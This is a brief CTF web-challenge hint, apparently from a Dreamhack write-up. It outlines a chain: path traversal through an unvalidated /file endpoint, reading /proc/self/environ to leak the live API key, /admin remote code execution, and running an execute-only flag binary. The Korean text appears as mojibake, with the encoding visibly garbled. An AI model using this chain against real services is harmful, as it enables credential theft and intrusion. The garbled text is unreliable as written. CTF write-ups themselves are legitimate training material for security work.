๊ฒฝ๋กœ๊ฒ€์ฆ ์—†๋Š” /file ์—”๋“œํฌ์ธํŠธ๋กœ path traversal, /admin์˜ API_KEY๋Š” Dockerfile ๋”๋ฏธ๊ฐ’์ด๋ผ ๋ฌด์˜๋ฏธํ•ด ๋ณด์ด์ง€๋งŒ /proc/self/environ์„ ์ฝ์œผ๋ฉด ๋Ÿฐํƒ€์ž„ ์‹ค์ œ ํ‚ค๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค. ๊ทธ ํ‚ค๋กœ ์—ฐ /admin RCE๋กœ flag๋ฅผ ์ฐพ์•„๋„ cat์€ 500๋งŒ ๋œฌ๋‹ค โ€” flag๊ฐ€ ---x--x--x(์‹คํ–‰ ์ „์šฉ) ELF๋ผ ์ฝ์ง€ ๋ง๊ณ  ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค.
#dreamhack#ctf#web+5
2026-07-06#dreamhack +4